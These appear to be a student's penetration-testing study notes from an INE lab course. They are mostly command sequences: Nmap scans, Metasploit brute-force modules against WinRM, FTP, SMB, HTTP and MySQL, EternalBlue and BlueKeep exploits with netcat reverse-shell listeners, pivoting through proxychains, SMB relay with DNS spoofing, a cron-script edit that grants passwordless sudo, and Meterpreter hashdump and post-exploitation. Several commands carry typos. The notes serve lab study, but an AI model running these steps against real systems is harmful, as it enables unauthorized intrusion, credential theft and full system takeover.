-sn → tells Nmap not to scan any ports → forcing it to rely primarily on ICMP echo packets → to identify targets
-Pn
Types of Scans:
TCP Connect Scans (-sT)
SYN “Half-open” Scans (-sS)
UDP Scans (-sU)
TCP Null Scans (-sN) → sent with no flags set at all
As per the RFC, the target host should respond with a RST if the port is closed.
TCP FIN Scans (-sF) → a request is sent with the FIN flag (usually used to gracefully close an active connection)
Nmap expects a RST if the port is closed.
TCP Xmas Scans (-sX) → send a malformed TCP packet and expects a RST response for closed ports.
If a UDP port doesn’t respond to an Nmap scan, it will be marked as open|filtered
NULL, FIN and Xmas → Firewall Evasion
Microsoft Windows → may respond to a NULL, FIN or Xmas scan with a RST for every port
Zenmap:
Green → Machine is alive
Red → Machine is alive but not responding or not directly accessible
Yellow → We have launched the scan (that is, the attacker machine) and it has plotted the other hosts connection with hostname and IP addresses to localhost.
> use auxiliary/scanner/winrm/winrm_auth_methods
> use auxiliary/scanner/winrm/winrm_login
> set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
> set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
> set VERBOSE false
> use use auxiliary/scanner/winrm/winrm_cmd
> set USERNAME administrator
> set PASSWORD tinkerbell
> set cmd whoami
> run
> use exploit/windows/winrm/winrm_script_exec
> set USERNAME <>
> set PASSWORD <>
> set LHOST <IP>
> set FORCE_VBS true
> run
> sysinfo
service postgresql start
msfconsole
msf> db_status
msf> workspace
msf> workspace -a <name> // Create a new workspace
msf> db_import <path_to_file>
msf> hosts // Check whether the data imported successfully
msf> services // Check whether the data imported successfully
msf> db_nmap -Pn -sV -o 10.4.22.173 // Results will be saved in MSF DB
service postgresql start
msfconsole
msf> workspace -a portscan
msf> search portscan
msf> use <module_name> / <index> // scanner/portscan/tcp
msf> show options
msf> set RHOSTS 192.168.100.43 // TARGET IP
msf> curl <> // If HTTP is open
msf> search xoda
msf> use <index/module_name>
msf> show options
msf> set RHOSTS <TARGET IP>
msf> set TARGETURI / -> // Set the path where service is hosted
msf> exploit // It will give meterpreter session
mp> sysinfo // Target Infomation
mp> shell // Open shell session
bash> ifconfig // Identify next target address (x.x.x.x+1)
bash> exit // CTRL + C
mp> run autoroute -s <IP> // IP of one of the machine in subnet -> Add route
mp> background // Will take this session in Background
msf> sessions // View current sessions
msf> search portscan
msf> set RHOSTS <TARGET_2> // Target 1+1 (x.x.x.x+1)
msf> run
msf> back
msf> search udp_sweep
ERROR:
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
SOLUTION:
SET LHOST <BASE_MACHINE_IP> // Attacker IP
msf> search type:auxiliary name:ftp
msf> use auxiliary/scanner/ftp/ftp_version
msf> use auxiliary/scanner/ftp/ftp_login
msf> set RHOSTS <IP>
msf> set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
msf> set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
msf> run
msf> use auxiliary/scanner/ftp/anonymous
msf> setg RHOSTS <IP> // Setting a Global variable
msf> search type:auxiliary name:smb
msf> use auxiliary/scanner/smb/smb_version
msf> use auxiliary/scanner/smb/smb_enumusers
msf> info // See info about module
msf> use auxiliary/scanner/smb/smb_enumshares
msf> set ShowFiles true
msf> use auxiliary/scanner/smb/smb_login
msf> set SMB_USER admin
msf> set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
bash> smbclient -L \\\\<IP>\\ -U admin // -L: List all shares
bash> smbclient \\\\<IP>\\<share> -U admin // Replace share name
msf> setg RHOSTS <IP>
msf> setg RHOST <IP>
msf> search type:auxiliary name:http
msf> use auxiliary/scanner/http/http_version
msf> use auxiliary/scanner/http/http_header
msf> use auxiliary/scanner/http/robots_txt
msf> use auxiliary/scanner/http/dir_scanner
msf> use auxiliary/scanner/http/files_dir
msf> use auxiliary/scanner/http/http_login
msf> set AUTH_URI <dir> // Replace dir that you want to bruteforce credentials
msf> unset USERPASS_FILE
msf> run
msf> set USER_FILE /usr/share/metasploit-framework/data/wordlists/namelist.txt
msf> set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
msf> set VERBOSE false
msf> run
msf> use auxiliary/scanner/http/apache_userdir_enum
msf> set PASS_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
msf> echo "<username>" > user.txt
msf> use auxiliary/scanner/http/http_login
msf> set USER_FILE /root/user.txt
// MySQL - TCP Port 3306
msf> use auxiliary/scanner/mysql/mysql_version
msf> use use auxiliary/scanner/mysql/mysql_login
msf> set USERNAME root
msf> set PASSFILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
msf> set VERBOSE false
msf> run // It will bruteforce passwords
// auxiliary/admin/ -> This admin modules requires credentials
msf> use auxiliary/admin/mysql/mysql_enum
msf> set PASSWORD <password> // This module requires creds
msf> set USERNAME root
msf> run
msf> use auxiliary/admin/mysql/mysql_sql
msf> set USERNAME root
msf> set PASSWORD <password>
msf> set SQL show databases;
msf> use auxiliary/scanner/mysql/mysql_schemadump
msf> set USERNAME root
msf> set PASSWORD <password>
bash> mysql -h <IP> -u root -p
EternalBlue → Collection of Windows Vulnerabilities & exploits that allow attackers to remotely execute arbitrary code & gain access to a Windows System
Affected Versions
Vista, 7, Server 2008, 8.1, Server 2012, Windows 10, Windows Server 2016
> nmap -sV -p 445 -O <IP>
> nmap -sV -p 445 --script=smb-vuln-ms17-010 <IP>
> git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git
> cd <DIR>
> pip install -r requirement.txt
> cd shellcode && chmod +x shell_prep.sh
> ./shell_prep.sh // 1. Type Y 2. Enter LHOST IP 3. Enter LHOST port 4. Type 1(Regular CMD Shell) 5. Type 1 (Stageless payload) -> sc_x86.bin / sc_x64.bin
> cd ..
> chmod +x eternalblue_exploit7.py
> nc -nvlp 1234
> python eternalblue_exploit7.py <IP> shellcode/sc_x64.bin
// Method 2
msf> search eternalblue
msf> use exploit/windows/smb/ms17_010_eternalblue
msf> set RHOSTS <IP>
Allow attackers to remotely execute arbitrary code & gain access to a Windows system & consequently the network that the target system is part of
> sudo nmap -p <IP>
msf> search BlueKeep
msf> use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
msf> set RHOSTS <IP>
msf> run
msf> use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
msf> set RHOSTS
msf> exlpoit
Allows an attacker to execute remote arbitrary commands via Bash, consequently allowing the attacker to obtain remote access to the target system via a reverse shell.
Windows Access Tokens: Responsible for identifying & describing the security context of a process or thread running on a system.
Access tokens are generated by the winlogon.exe process every time a user authenticates successfully & includes the identity & privileges of the user account associated with the thread or process.
Privileges:
SeAssignPrimaryToken: This allows a user to impersonate tokens
SeCreateToken: This allows a user to create an arbitrary token with an administrative privileges.
SeImpersonatePrivilege: This allows a user to create a process under the security context of another user typically with administrative privileges.
Cron → Time based service that runs applications, scripts & other commands repeatedly on a specific schedule
In order to elevate our privileges, we will need to find & identify the cron jobs scheduled by the root user or the files being processed by the the cron job
> whoami
> groups <user>
> cat /etc/passwd
> crontab -l // List crontab for current user
> ls -la
> cd /
> grep -rnw /usr -e "/home/student/message"
> cat /tmp/message
> ls -la /usr/local/share/copy.sh
> cat /usr/local/share/copy.sh
> printf '#!/bin/bash\necho "student ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/copy.sh
> sudo su
This permission provides users with the ability to execute a script or binary with the permissions of the file owner as opposed to the user that is running the script or binary
SUID permissions are typically used to provide unprivileged users with the ability to run specific scripts or binaries with “root” permissions.
The provision of elevate privileges is limited to the execution of the script & does not translate to elevation of privileges.
NetBIOS → API & a set of network protocol providing communication services over a local network. It is used primarily to allow applications on different computers to find & interact with each other on a network
SMB → A network file sharing protocol that allows computers on a network to share files, printers, & other resources.
> cat /etc/hosts
> ping demo.ine.local // reachable IP1
> ping demo1.ine.local // not reachable IP2
> nmap demo.ine.local
> nbtscan
> whatis nbtscan
> nbtscan <IP/Subnet>
> nbtscan
> nmblookup -A <IP1>
> nmap -sU -p 137 <IP1>
> nmap -sU -sV -p 137 -T4 --script=nbstat.nse -Pn -n <IP1>
> nmap -sV -p 139,445 demo.ine.local
> ls -la /usr/share/nmap/scripts/ | grep -e "smb-*"
> nmap -p445 --script smb-protocols demo.ine.local
> nmap -p445 --script smb-security-mode demo.ine.local
> smbclient -L demo.ine.local // testing for anonymous access -> press enter
> nmap -p445 --script smb-enum-users demo.ine.local
> nano users.txt // enter all usernames
> hydra -L users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt demo.ine.local smb
> psexec.py administrator@demo.ine.local
> whoami
// MSF
> search psexec
> use exploit/windows/smb/psexec
> set SMBUser <username>
> set SMBPass <password>
> set payload windows/x64/meterpreter/reverse_tcp
> exploit
> sysinfo
> shell
> ping <IP2> // Exit
> run autoroute -s <IP2/Subnet> // /20 -> Meterpreter
> background
> seach socks
> use auxiliary/server/socks_proxy
> set VERSION 4a // cat /etc/proxychains4
> set SRVPORT <ProxychainPort>
> run
> netstat -antp
// Machine 1
> proxychains nmap demo1.ine.local -sT -Pn -sV -p 445
// MSF
> shell
> net view <IP2>
> background
> migrate -N explorer.exe
> shell
> net view <IP2>
> net use D: \\<IP2>\Documents
> net use K: \\<IP2>\K$
> dir D:
>
It is type of network attack where an attacker intercepts SMB traffic, manipulates it & relays it to a legitimate server to gain unauthorized access to resources or perform malicious actions
> search smb_relay
> use exploit/windows/smb/smb_relay
> set SRVHOST <IP> // Kali Linux IP - ifconfig
> set LHOST <IP> // Kali Linux IP - ifconfig
> set SMBHOST <IP> // Check lab docs
>
// New Tab
> echo "<Kali-IP> *.sportsfoo" > dns
> dsnspoof -i eth1 -f dns
>
> setg RHOSTS <IP>
> db_nmap -sV <IP>
> search rejetto
> use exploit/windows/http/rejetto_hfs_exec
> run
> getsystem // elevate privileges
> getuid
> hashdump
> show_mount
> ps // list process
> migrate <pid>
> search win_privs
> use post/windows/gather/win_privs
> set SESSION <id>
> run
> search enum_logged
> use post/windows/gather/enum_logged_on_users
> set SESSION <id>
> run
> search checkvm
> use post/windows/gather/checkvm
> set SESSION <id>
> run
> search enum_applications
> use post/windows/gather/enum_applications
> set SESSION <id>
> run
> loot // Store results in DB
> use post/windows/gather/windows_av_excluded
> set SESSION 1
> run
> search enum_computer
> use post/windows/gather/enum_computers
> search enum_patches
> use post/windows/gather/enum_patches
> use post/windows/gather/enum_shares
> use post/windows/manage/enable_rdp
> set SESSION <id>
> run
> use post/windows/gather/enum_logged_on_users
> set SESSION 1
> run
> shell
> net user administrator
> whoami /priv
> route print
> netstat -ano
> netsh firewall show state
> tasklist /SVC // Enumerate the list of running processes
> show_mount
> use post/windows/gather/win_privs
> set SESSION 1
> run
> use post/windows/gather/enum_applications
> use post/windows/gather/enum_computers
> use post/windows/gather/enum_patches